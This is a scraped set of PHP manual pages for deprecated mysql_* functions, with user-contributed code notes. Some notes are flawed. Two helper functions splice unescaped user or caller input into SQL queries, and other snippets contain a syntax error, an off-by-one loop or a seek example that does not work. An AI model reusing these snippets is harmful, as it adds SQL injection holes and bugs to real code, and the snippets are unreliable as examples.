$numberfields = mysql_num_fields($res_gb);

   for ($i=0; $i<$numberfields ; $i++ ) {
       $var = mysql_field_name($res_gb, $i);
       $row_title .= $var;
   }

echo $row_title;
janezr at jcn dot si 19-Oct-2005 04:18
This is another variant of displaying all columns of a query result, but with a simplified while loop.

<?
$query="select * from user";
$result=mysql_query($query);
$numfields = mysql_num_fields($result);

echo "<table>\n<tr>";

for ($i=0; $i < $numfields; $i++) // Header
{ echo '<th>'.mysql_field_name($result, $i).'</th>'; }

echo "</tr>\n";

while ($row = mysql_fetch_row($result)) // Data
{ echo '<tr><td>'.implode($row,'</td><td>')."</td></tr>\n"; }

echo "</table>\n"
?>
clinnenb at hotmail dot com 05-Aug-2005 05:19
The following will create a PHP array, $array, containing the MySQL query results with array indexes of the same name as field names returned by the MySQL query.

while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    $i=0;
    foreach ($line as $col_value) {
        $field=mysql_field_name($result,$i);
        $array[$field] = $col_value;
        $i++;
    }
}
jimharris at blueyonder dot co dot uk 20-Dec-2004 03:28
The code in the last comment has an obvious mistake in the for loop expression.  The correct expression in the for-loop is $x<$y rather than $x<=$y...

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<$y; $x++) {
   echo = mysql_field_name($result, $x).'<br>';
}
colin dot truran at shiftf7 dot com 17-Dec-2004 01:44
T simply itterate through all the field names on a result set try using this.

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<=$y; $x++) {
    echo = mysql_field_name($result, $x).'<br>';
}

This is useful if you have a result set that joins several tables dynamicaly and you are never sure what all the fields will be when you come to display them.

I suggest you place this within a loop through your result rows and include a field flag check  around the echo to only show certain data types like this.

$y=mysql_num_fields($result);
while ($row=mysql_fetch_array($result)) {
  for ($x=0; $x<=$y; $x++) {
    $fieldname=mysql_field_name($result,$x);
    $fieldtype=mysql_field_type($result, $x);
    if ($fieldtype=='string' && $row[$fieldname]!='')
       echo $row[$fieldname].' , ';
   }
   echo '<br>';
}
aaronp123 att yahoo dott comm 21-Feb-2003 03:27
You could probably elaborate on this by sending a full sql query to this function...but I titled it simple_query() because it doesn't really allow for joins.  Never the less, if you want to get a quick array full of a single row result set this is painless:

function simple_query($table_name, $key_col, $key_val) {
    // open the db
    $db_link = my_sql_link();
    // query table using key col/val
    $db_rs = mysql_query("SELECT * FROM $table_name WHERE $key_col = $key_val", $db_link);
    $num_fields = mysql_num_fields($db_rs);
    if ($num_fields) {
        // first (and only) row
        $row = mysql_fetch_assoc($db_rs);
        // load up array
        for ($i = 0; $i < $num_fields; $i++) {
            $simple_q[mysql_field_name($db_rs, $i)] = $row[mysql_field_name($db_rs, $i)];
        }
        // and return
        return $simple_q;
    } else {
        // no rows
        return false;
    }
    mysql_free_result($db_rs);
}

**Please note that my_sql_link() is just a function I have to open up a my sql connection.**
jason dot chambes at phishie dot net 21-Feb-2003 03:07
<?
/*
    By simply calling the searchtable() function
    with these variables it will serach the desired
    database and procude a table for each field that
    there is a match.
*/

function searchtable($host,$user,$pass,$database,$tablename,$userquery)
{
    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());
    $fields = mysql_list_fields($database, $tablename, $link);
    $cols   = mysql_num_fields($fields);

    for ($i = 1; $i < $cols; $i++) {
        $allfields[] = mysql_field_name($fields, $i);
    }
    foreach ($allfields as $myfield) {
        $result = mysql_query("SELECT * FROM $tablename WHERE $myfield like '%$userquery%' ");
        if (mysql_num_rows($result) > 0){
            echo "<h3>search <i>$database</i> for <i>$userquery</i>, found match(es) in <i>$myfield</i>: </h3>\n";
            echo "<table border=1 align=\"center\">\n\t<tr>\n";
            for ($i = 1; $i < $cols; $i++) {
                echo "\t\t<th";
                if ($myfield == mysql_field_name($fields, $i)){
                    echo " bgcolor=\"orange\"> ";
                } else {
                    echo ">";
                }
                echo mysql_field_name($fields, $i) . "</th>\n";
            }
            echo "\t</tr>\n";
            $myrow = mysql_fetch_array($result);
            do {
                echo "\t<tr>\n";
                for ($i = 1; $i < $cols; $i++){
                    echo "\t\t<td> $myrow[$i] &nbsp;</td>\n";
                }
                echo "\t</tr>\n";
            } while ($myrow = mysql_fetch_array($result));
            echo "</table>\n";
        }
    }
}

searchtable($host,$user,$pass,$database,$tablename,$userquery);
?>
matt at iwdt dot net 24-Sep-2001 03:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error


Set result pointer to a specified field offset

  • « mysql_field_name
  • mysql_field_table »
  • PHP Manual
  • MySQL Functions
  • Set result pointer to a specified field offset

mysql_field_seek

(PHP 4, PHP 5)

mysql_field_seek — Set result pointer to a specified field offset

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_field_seek()
  • PDOStatement::fetch() using optional parameters

Description

bool mysql_field_seek ( resource $result , int $field_offset )

Seeks to the specified field offset. If the next call to mysql_fetch_field() doesn't include a field offset, the field offset specified in mysql_field_seek() will be returned.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysql_fetch_field() - Get column information from a result and return as an object

User Contributed Notes

adrien dot gibrat at gmail dot com 04-Oct-2008 10:12
Not dumb at all!!

It means that "mysql_field_seek" and "mysql_data_seek" are moving the same cursor... through the rows and columns of the result resource.

Also means that the cursor goes to a new row when it reach a final field(aka column), by exemple while looping with "mysql_fetch_field".

Calling "mysql_fetch_object", "mysql_fetch_array", "mysql_fetch_assoc"
and "mysql_fetch_row" seems to place the cursor at the end of the line.

So calling "mysql_fetch_field" without a field index, just after that, will return false.
chris at igwsolutions dot com 26-Apr-2008 12:23
I spent a good deal of time trying to get the example to work, but the example does not work.
To do what the exaple is trying to do, you would need to use mysql_data_seek

assume we have table named testing which contains
id      name
1       Hassan
2       Jack
3       Rose
---------------

Here is an expample that will do the above example.

Since I am more comfortable in a OOP setting, I used mysql_fetch_object

<?php
    require("myConnenctionFile.php");

    $sql="SELECT  * from testing";
    $result=mysql_query($sql);

    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (1      Hassan)
    mysql_data_seek($result,2);
    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (3      Rose)
    echo "<BR><BR>";
?>
Hassan Kazem 11-Jan-2008 07:34
an example of this function
assume we have table1 which contains
ID      Name
1       Hassan
2       Jack
3       Rose
---------------
<?php
mysql_connect("sql.server.com", "username", "password") or die(mysql_error());
mysql_select_db("database") or die(mysql_error());
$sql="SELECT  * from table1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $row['ID'] . ' ' . $row['Name']; // Output is (1      Hassan)
mysql_field_seek($result,2);
echo $row['ID'] . ' ' . $row['Name']; // Output is (3      Rose)
?>
---------------
// You can see that the seek command forwarded the pointer one step and skipped row number 2
poulpillusion at free dot fr 17-Apr-2007 04:44
A dumb comment... but it may save people some time :
mysql_field_seek != mysql_data_seek

In order to fetch again the results of a resource result from the beginning, you will use mysql_data_seek(id, 0)


Get name of the table the specified field is in

  • « mysql_field_seek
  • mysql_field_type »
  • PHP Manual
  • MySQL Functions
  • Get name of the table the specified field is in

mysql_field_table

(PHP 4, PHP 5)

mysql_field_table — Get name of the table the specified field is in

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_field_direct() [table] or [orgtable]
  • PDOStatement::getColumnMeta() [table]

Description

string mysql_field_table ( resource $result , int $field_offset )

Returns the name of the table that the specified field is in.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

The name of the table on success.

Examples

Example #1 A mysql_field_table() example

<?php

$query = "SELECT account.*, country.* FROM account, country WHERE country.name = 'Portugal' AND account.country_id = country.id";

// get the result from the DB
$result = mysql_query($query);

// Lists the table name and then the field name
for ($i = 0; $i < mysql_num_fields($result); ++$i) {
    $table = mysql_field_table($result, $i);
    $field = mysql_field_name($result, $i);

    echo  "$table: $field\n";
}

?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldtable()

See Also

  • mysql_list_tables() - List tables in a MySQL database

User Contributed Notes

djafferian at sos dot ri dot gov 15-Jul-2014 11:35
This note may apply to anyone who might still be running MySQL 5.0.32 on Debian 4.0.  The mysql_field_table function may return an empty table name if the SELECT query involved uses GROUP BY or ORDER BY and references a view in the FROM clause.  This is caused by MySQL bug 28898, which was fixed in 5.0.46.  I encountered this when I noticed a difference between our production RSS feeds generated on a Debian 5.0.10 server running MySQL 5.0.51a, and the same feed generated on one of our test servers running MySQL 5.0.32 on Debian 4.0.
mehdi dot haresi at gmail dot com 17-Jul-2009 11:50
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
jorge at rhst dot net 29-Jul-2007 11:57
The function below takes a function and returns the col->table mapping as an array.

For example:

$query = “SELECT a.id AS a_id, b.id b_id FROM atable AS a, btable b”

$cols  = queryAlias($query);

print_r($cols);

Returns:

Array
(
    [a] => atable
    [b] => btable
)

I can't promise it's perfect, but this function never hit production cause I ended up using mysqli methods instead.

Enjoy
-Jorge

  /**
   * Takes in a query and returns the alias->table mapping.
   *
   * @param string $query
   * @return array of alias mapping
   */

  function queryAlias ( $query ) {

    //Make it all lower, we ignore case
    $substr = strtolower($query);

    //Remove any subselects
    $substr = preg_replace ( ‘/\(.*\)/’, ”, $substr);

    //Remove any special charactors
    $substr = preg_replace ( ‘/[^a-zA-Z0-9_,]/’, ‘ ‘, $substr);

    //Remove any white space
    $substr = preg_replace(‘/\s\s+/’, ‘ ‘, $substr);

    //Get everything after FROM
    $substr = strtolower(substr($substr, strpos(strtolower($substr),‘ from ‘) + 6));

    //Rid of any extra commands
    $substr = preg_replace(
                Array(
                    ‘/ where .*+$/’,
                    ‘/ group by .*+$/’,
                    ‘/ limit .*+$/’ ,
                    ‘/ having .*+$/’ ,
                    ‘/ order by .*+$/’,
                    ‘/ into .*+$/’
                   ), ”, $substr);

    //Remove any JOIN modifiers
    $substr = preg_replace(
                Array(
                    ‘/ left /’,
                    ‘/ right /’,
                    ‘/ inner /’,
                    ‘/ cross /’,
                    ‘/ outer /’,
                    ‘/ natural /’,
                    ‘/ as /’
                   ), ‘ ‘, $substr);

    //Replace JOIN statements with commas
    $substr = preg_replace(Array(‘/ join /’, ‘/ straight_join /’), ‘,’, $substr);

    $out_array = Array();

    //Split by FROM statements
    $st_array = split (‘,’, $substr);

    foreach ($st_array as $col) {

      $col = preg_replace(Array(‘/ on .*+/’), ”, $col);

      $tmp_array = split(‘ ‘, trim($col));

      //Oh no, something is wrong, let’s just continue
      if (!isset($tmp_array[0]))
        continue;

      $first = $tmp_array[0];

      //If the “AS” is set, lets include that, if not, well, guess this table isn’t aliased.
      if (isset($tmp_array[1]))
        $second = $tmp_array[1];
        else
        $second = $first;

      if (strlen($first))
       $out_array[$second] = $first;

    }

    return $out_array;
  }
spam at blondella dot de 03-Oct-2006 01:09
<?php
/*
this function might help in the case described above :-)
*/
function mysql_field_table_resolve_alias($inQuery,$inResult,$inFieldName) {
   $theNameOrAlias = mysql_field_table($inResult,$inFieldName);
   //check, if AS syntax is being used
   if(ereg(" AS ",$inQuery))  {
      //catch words in query
      $theWords = explode(" ",ereg_replace(",|\n"," ",$inQuery));
      //find the words preceding and following AS
      foreach($theWords as $theIndex => $theWord)  {
         if(trim($theWord) == "AS"
         && isset($theWords[$theIndex-1])
         && isset($theWords[$theIndex+1])
         && $theWords[$theIndex+1] == $theNameOrAlias
         ) {
            $theNameOrAlias = $theWords[$theIndex-1];
            break 1;
         }
      }
   }
   return $theNameOrAlias;
}
?>
me at thomaskeller dot biz 23-Nov-2005 10:15
Beware that if you upgrade to MySQL 5 from any earlier version WITHOUT dumping and reloading your data (just by keeping the binary data in MyISAM table files), you might get weird output on the "table" value for mysql_fetch_field and in this function. Weird means that the table name is randomly set or not.

This behaviour seems to popup only if the SQL query contains a ORDER BY clause. A bug is already reported:

http://bugs.mysql.com/bug.php?id=14915

To prevent the issue, dump and reload all participating tables in your query or do

CREATE TABLE tmp SELECT * FROM table;
DROP TABLE table;
ALTER TABLE tmp RENAME table;

on each one via commandline client.
cptnemo 15-Aug-2004 04:18
When trying to find table names for a (My)SQL query containing 'tablename AS alias', mysql_field_table() only returns the alias as specified in the AS clause, and not the tablename.


Get the type of the specified field in a result

  • « mysql_field_table
  • mysql_free_result »
  • PHP Manual
  • MySQL Functions
  • Get the type of the specified field in a result

mysql_field_type

(PHP 4, PHP 5)

mysql_field_type — Get the type of the specified field in a result

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_fetch_field_direct() [type]
  • PDOStatement::getColumnMeta() [driver:decl_type] or [pdo_type]

Description

string mysql_field_type ( resource $result , int $field_offset )

mysql_field_type() is similar to the mysql_field_name() function. The arguments are identical, but the field type is returned instead.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

The returned field type will be one of "int", "real", "string", "blob", and others as detailed in the » MySQL documentation.

Examples

Example #1 mysql_field_type() example

<?php
mysql_connect("localhost", "mysql_username", "mysql_password");
mysql_select_db("mysql");
$result = mysql_query("SELECT * FROM func");
$fields = mysql_num_fields($result);
$rows   = mysql_num_rows($result);
$table  = mysql_field_table($result, 0);
echo "Your '" . $table . "' table has " . $fields . " fields and " . $rows . " record(s)\n";
echo "The table has the following fields:\n";
for ($i=0; $i < $fields; $i++) {
    $type  = mysql_field_type($result, $i);
    $name  = mysql_field_name($result, $i);
    $len   = mysql_field_len($result, $i);
    $flags = mysql_field_flags($result, $i);
    echo $type . " " . $name . " " . $len . " " . $flags . "\n";
}
mysql_free_result($result);
mysql_close();
?>

The above example will output something similar to:

Your 'func' table has 4 fields and 1 record(s)
The table has the following fields:
string name 64 not_null primary_key binary
int ret 1 not_null
string dl 128 not_null
string type 9 not_null enum

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldtype()

See Also

  • mysql_field_name() - Get the name of the specified field in a result
  • mysql_field_len() - Returns the length of the specified field

User Contributed Notes

fred at dinkler dot com 08-Feb-2007 08:52
In MySQL 4.1.x, the four TEXT types (TINYTEXT, TEXT, MEDIUMTEXT, and LONGTEXT) return 'blob" as field types, not "string".
c dot futterlieb at bluewin dot ch 10-Dec-2006 03:06
Additional to the note below:
If you're using the "SHOW FIELDS" syntax, be sure that you're adding the table name instead of the db name in the "FROM" parameter:

<?php
$result = mysql_query("SHOW FIELDS FROM table");
?>

Also possible:

<?php
$result = mysql_query("SHOW FIELDS FROM table.db");
?>

or this:

<?php
$result = mysql_query("DESCRIBE table");
?>
http://dev.mysql.com/doc/refman/5.1/en/describe.html
fusionstream at gmail dot com 17-Sep-2006 06:19
krang at krang dot org dot uk
Condensed version of what KRANG said.

To get info on the MYSQL field type, use this code

<?
$result = mysql_query("SHOW FIELDS FROM db_name");

$i = 1;
while ($row = mysql_fetch_array($result)) { //go through one field at a time
  echo "Field $i: ";
  print_r($row) //display all information about A field which can be accessed thru the "$row" array.
  $i++;
}
?>

Will display something like:
Field 1: Array ( [Field] => SN [Type] => mediumint(8) unsigned [Null] => [Key] => PRI [Default] => [Extra] => auto_increment ) , SN, mediumint(8) unsigned
Field 2: Array ( [Field] => ENTITY_ID [Type] => varchar(20) [Null] => [Key] => [Default] => [Extra] => ) , ENTITY_ID, varchar(20)
18-Feb-2006 08:52
This function is broken in 4.4.1 (works fine in 4.3.X).
http://bugs.php.net/35536
mariob at menta dot net 07-Nov-2003 09:21
For version 4.3.4, types returned are:

STRING, VAR_STRING: string
TINY, SHORT, LONG, LONGLONG, INT24: int
FLOAT, DOUBLE, DECIMAL: real
TIMESTAMP: timestamp
YEAR: year
DATE: date
TIME: time
DATETIME: datetime
TINY_BLOB, MEDIUM_BLOB, LONG_BLOB, BLOB: blob
NULL: null
Any other: unknown
swalif_mesa at hotmail dot com 10-Jul-2003 07:38
Hmm for the previous comment, note that SHOW FIELDS is an alias of SHOW COLUMNS. Very useful if you need to search the mysql-documentation. Here is the link anyway...
http://www.mysql.com/doc/en/SHOW_DATABASE_INFO.html
krang at krang dot org dot uk 10-Mar-2002 03:13
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}


Free result memory

  • « mysql_field_type
  • mysql_get_client_info »
  • PHP Manual
  • MySQL Functions
  • Free result memory

mysql_free_result

(PHP 4, PHP 5)

mysql_free_result — Free result memory

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_free_result()
  • Assign the value of NULL to the PDO object, or PDOStatement::closeCursor()

Description

bool mysql_free_result ( resource $result )

mysql_free_result() will free all memory associated with the result identifier result.

mysql_free_result() only needs to be called if you are concerned about how much memory is being used for queries that return large result sets. All associated result memory is automatically freed at the end of the script's execution.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

Returns TRUE on success or FALSE on failure.

If a non-resource is used for the result, an error of level E_WARNING will be emitted. It's worth noting that mysql_query() only returns a resource for SELECT, SHOW, EXPLAIN, and DESCRIBE queries.

Examples

Example #1 A mysql_free_result() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
/* Use the result, assuming we're done with it afterwards */
$row = mysql_fetch_assoc($result);

/* Now we free up the result and continue on with our script */
mysql_free_result($result);

echo $row['id'];
echo $row['email'];
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_freeresult()

See Also

  • mysql_query() - Send a MySQL query
  • is_resource() - Finds whether a variable is a resource

User Contributed Notes

webmaster at bluesting dot co dot za 16-Mar-2011 01:44
mysql_query() also returns a resource for "OPTIMIZE TABLE" statements!
webmaster at wforums dot net 16-Jun-2008 10:02
I agree with Joachim Kruyswijk (posted on 14-Jun-2005 11:42). I just did the test on my beta version of my new site (who needs to get dynamically news and user login from a database) and i use 1000kb less memory when i do not use mysql_free_result. I guess it is because the data it needs to load are not that large (for news: date, short description and for the user login: username, password). It may only be in the user control panel that it will be more, but since that isn't developed totally yet, i'll have to test :p
admin at ifyouwantblood dot de 18-Mar-2008 09:47
yes this function may increase the memory usage if you use unbuffered querys and if you have not fetched all the data from mysql. in this case the mysql api has a problem: you want to free the result but do not want to close the connection. now mysql will only accept another query if all data has been fetched, so the api now must fetch the rest of the data when calling mysql_free_result().

so only use unbuffered querys if you fetch all the data (and need it).
21-Nov-2006 11:53
If you're seeing warnings like "Warning: Unknown: 6 result set(s) not freed. Use mysql_free_result to free result sets which were requested using mysql_query() in Unknown on line 0" and want to turn them off, set mysql.trace_mode = Off in your php.ini
mdeininger at jyujin dot de 20-Sep-2005 01:45
yes, i encountered that too. as far as i could tell, that's because the script is stored in memory after being compiled and that's as much more memory as it needs for a call to that function.

if you always get lotsa data in your results, using this function will decrease memory usage tho, unless you use non-buffered queries (which are preferable unless you absolutely *have* to use mysql_seek(), or you need to do another query while the last one hasn't finished reporting back, as they can provide a small speedup)
macronesia at macronesia dot net 02-Jul-2005 09:11
You not need to use this if you are using PHP 4.

The comment below this comment may explain why it's actually costing more memory.
Joachim Kruyswijk 14-Jun-2005 11:42
Using this function may actually increase the amount of memory used. In my case, the script used 208 bytes less memory when *not* using mysql_free_result().
Check for yourself: call memory_get_usage() at the end of the script.


Get MySQL client info

  • « mysql_free_result
  • mysql_get_host_info »
  • PHP Manual
  • MySQL Functions
  • Get MySQL client info

mysql_get_client_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_client_info — Get MySQL client info

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_get_client_info()
  • PDO::getAttribute(PDO::ATTR_CLIENT_VERSION)

Description

string mysql_get_client_info ( void )

mysql_get_client_info() returns a string that represents the client library version.

Return Values

The MySQL client version.

Examples

Example #1 mysql_get_client_info() example

<?php
printf("MySQL client info: %s\n", mysql_get_client_info());
?>

The above example will output something similar to:

MySQL client info: 3.23.39

See Also

  • mysql_get_host_info() - Get MySQL host info
  • mysql_get_proto_info() - Get MySQL protocol info
  • mysql_get_server_info() - Get MySQL server info

User Contributed Notes

There are no user contributed notes for this page.


Get MySQL host info

  • « mysql_get_client_info
  • mysql_get_proto_info »
  • PHP Manual
  • MySQL Functions
  • Get MySQL host info

mysql_get_host_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_host_info — Get MySQL host info

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_get_host_info()
  • PDO::getAttribute(PDO::ATTR_CONNECTION_STATUS)

Description

string mysql_get_host_info ([ resource $link_identifier = NULL ] )

Describes the type of connection in use for the connection, including the server host name.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns a string describing the type of MySQL connection in use for the connection or FALSE on failure.

Examples

Example #1 mysql_get_host_info() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
printf("MySQL host info: %s\n", mysql_get_host_info());
?>

The above example will output something similar to:

MySQL host info: Localhost via UNIX socket

See Also

  • mysql_get_client_info() - Get MySQL client info
  • mysql_get_proto_info() - Get MySQL protocol info
  • mysql_get_server_info() - Get MySQL server info

User Contributed Notes

There are no user contributed notes for this page.


Get MySQL protocol info

  • « mysql_get_host_info
  • mysql_get_server_info »
  • PHP Manual
  • MySQL Functions
  • Get MySQL protocol info

mysql_get_proto_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_proto_info — Get MySQL protocol info

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_get_proto_info()

Description

int mysql_get_proto_info ([ resource $link_identifier = NULL ] )

Retrieves the MySQL protocol.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the MySQL protocol on success or FALSE on failure.

Examples

Example #1 mysql_get_proto_info() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
printf("MySQL protocol version: %s\n", mysql_get_proto_info());
?>

The above example will output something similar to:

MySQL protocol version: 10

See Also

  • mysql_get_client_info() - Get MySQL client info
  • mysql_get_host_info() - Get MySQL host info
  • mysql_get_server_info() - Get MySQL server info

User Contributed Notes

There are no user contributed notes for this page.


Get MySQL server info

  • « mysql_get_proto_info
  • mysql_info »
  • PHP Manual
  • MySQL Functions
  • Get MySQL server info

mysql_get_server_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_server_info — Get MySQL server info

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_get_server_info()
  • PDO::getAttribute(PDO::ATTR_SERVER_VERSION)

Description

string mysql_get_server_info ([ resource $link_identifier = NULL ] )

Retrieves the MySQL server version.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the MySQL server version on success or FALSE on failure.

Examples

Example #1 mysql_get_server_info() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
printf("MySQL server version: %s\n", mysql_get_server_info());
?>

The above example will output something similar to:

MySQL server version: 4.0.1-alpha

See Also

  • mysql_get_client_info() - Get MySQL client info
  • mysql_get_host_info() - Get MySQL host info
  • mysql_get_proto_info() - Get MySQL protocol info
  • phpversion() - Gets the current PHP version

User Contributed Notes

cmscoder at seasamecreek dot info 17-May-2008 01:55
Here is something I put together because I needed a way to pull the MySQL version number from the server without actually having a connection.  This was due to being part of a server info screen prior to installation of a cms.  Users need to know if their MySQL is supported or not prior to installation right? :)

This will scrape the phpinfo page looking for the MySQL row that says Client API version and return the version number after it.  This could also be used to scrape just about anything from the phpinfo page. :)

ob_start();
phpinfo(INFO_MODULES);
$info = ob_get_contents();
ob_end_clean();
$info = stristr($info, 'Client API version');
preg_match('/[1-9].[0-9].[1-9][0-9]/', $info, $match);
$gd = $match[0];
echo 'MySQL:  '.$gd.' <br />';

This will output:
MySQL: 4.1.22 (which is the version on my server)

I know this is crude but it's the only thing I could come up with and there isn't anything like this info available online so here it is.  I suck at preg_match and it would be helpful if someone could modify the string here to stand the test of time.
Kalle Sommer Nielsen 29-May-2007 01:54
An alternative to mysql_get_client_info() is to use the VERSION() function in MySQL language like:

<?php
$query = mysql_query("SELECT VERSION() as mysql_version");
?>

The output is the same as mysql_get_client_info()
cNOooSPAMlmax1 at o2 dot pl 08-Jul-2006 01:27
That's better:

<?php
mysql_connect('localhost', 'user', 'password') or
   die('Could not connect: ' . mysql_error());
$a = mysql_get_server_info();
$b = substr($a, 0, strpos($a, "-"));
echo $b;
?>


Get information about the most recent query

  • « mysql_get_server_info
  • mysql_insert_id »
  • PHP Manual
  • MySQL Functions
  • Get information about the most recent query

mysql_info

(PHP 4 >= 4.3.0, PHP 5)

mysql_info — Get information about the most recent query

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_info()

Description

string mysql_info ([ resource $link_identifier = NULL ] )

Returns detailed information about the last query.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns information about the statement on success, or FALSE on failure. See the example below for which statements provide information, and what the returned value may look like. Statements that are not listed will return FALSE.

Examples

Example #1 Relevant MySQL Statements

Statements that return string values. The numbers are only for illustrating purpose; their values will correspond to the query.

INSERT INTO ... SELECT ...
String format: Records: 23 Duplicates: 0 Warnings: 0
INSERT INTO ... VALUES (...),(...),(...)...
String format: Records: 37 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ...
String format: Records: 42 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE
String format: Records: 60 Duplicates: 0 Warnings: 0
UPDATE
String format: Rows matched: 65 Changed: 65 Warnings: 0

Notes

Note:

mysql_info() returns a non-FALSE value for the INSERT ... VALUES statement only if multiple value lists are specified in the statement.

See Also

  • mysql_affected_rows() - Get number of affected rows in previous MySQL operation
  • mysql_insert_id() - Get the ID generated in the last query
  • mysql_stat() - Get current system status

User Contributed Notes

tomas at matfyz dot cz 07-Dec-2008 12:57
Please note that the information on warning count cannot be taken from the mysql_info() due to mysql bugs #41283 and #41285:

http://bugs.mysql.com/?id=41283
http://bugs.mysql.com/?id=41285
bdobrica at gmail dot com 24-Apr-2006 09:18
